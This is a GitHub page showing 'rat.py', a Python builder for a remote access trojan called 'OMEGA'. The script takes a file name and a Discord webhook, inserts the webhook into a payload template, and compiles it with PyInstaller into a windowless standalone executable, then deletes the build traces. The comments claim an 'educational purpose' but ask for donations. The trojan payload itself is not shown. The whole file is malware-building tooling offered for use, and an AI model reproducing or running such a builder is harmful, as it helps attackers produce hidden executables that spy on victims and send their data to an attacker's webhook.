-
Notifications
You must be signed in to change notification settings - Fork 0
/
rat.py
79 lines (64 loc) · 2.81 KB
/
rat.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# proudly code by BKS#1958 and mfr
#no skid permitted
#only for educational purpose
#don't forget to make us a donate to support us in this big project
#with the big help of bluered the creator of pystyle
from os import system
from rich import *
from subprocess import check_output
import os
import shutil
import time
def rat():
print()
name = console.input("{[green]?[/green]} name the [blue]file[/blue] {[green]with the extension[/green]}: ")
print()
os.system(f'Title - OMEGA - File name set to {name}')
console.print("{[green]![/green]}[blue]File name[/blue] set to " f"[green]{name}[/green]")
print()
webhook = console.input("{[green]?[/green]} Enter the [blue]webhook[/blue] : ")
print()
time.sleep(1)
console.print("{[green]![/green]} sucessfully setting [blue]webhook[/blue]")
print()
console.input("{[green]![/green]}enter to start [blue]creating[/blue] : ")
os.system(f'Title - OMEGA - creating {name}')
fin = open("base", "rt")
fout = open("client.py", "wt")
for line in fin:
fout.write(line.replace('DISCORDURL', webhook))
fin.close()
fout.close()
os.rename('client.py', f'{name}')
check_output('pip install pyinstaller')
check_output(f'pyinstaller --onefile -w {name}')
os.system('cls||clear')
console.print(banner, style="green")
os.system(f'Title - OMEGA - {name} create chek dist folder ')
delete_file = name.split('.')[0]
os.remove(f"{delete_file}.spec")
shutil.rmtree('build')
fin = open("base", "rt")
fout = open("client.py", "wt")
for line in fin:
fout.write(line.replace('NOMFICHIER', delete_file))
fin.close()
fout.close()
os.remove('client.py')
os.remove(f'{name}')
console.input("{[green]![/green]}you can now check in the [blue]dist folder[/blue]")
os.system('cls||clear')
while True:
os.system('Title - OMEGA - BKS#1958')
banner = """
.oooooo. ooo ooooo oooooooooooo .oooooo. .o.
d8P' `Y8b `88. .888' `888' `8 d8P' `Y8b .888.
888 888 888b d'888 888 888 .8"888.
888 888 8 Y88. .P 888 888oooo8 888 .8' `888.
888 888 8 `888' 888 888 " 888 ooooo .88ooo8888.
`88b d88' 8 Y 888 888 o `88. .88' .8' `888.
`Y8bood8P' o8o o888o o888ooooood8 `Y8bood8P' o88o o8888o
"""
console = get_console()
console.print(banner, style="green")
rat()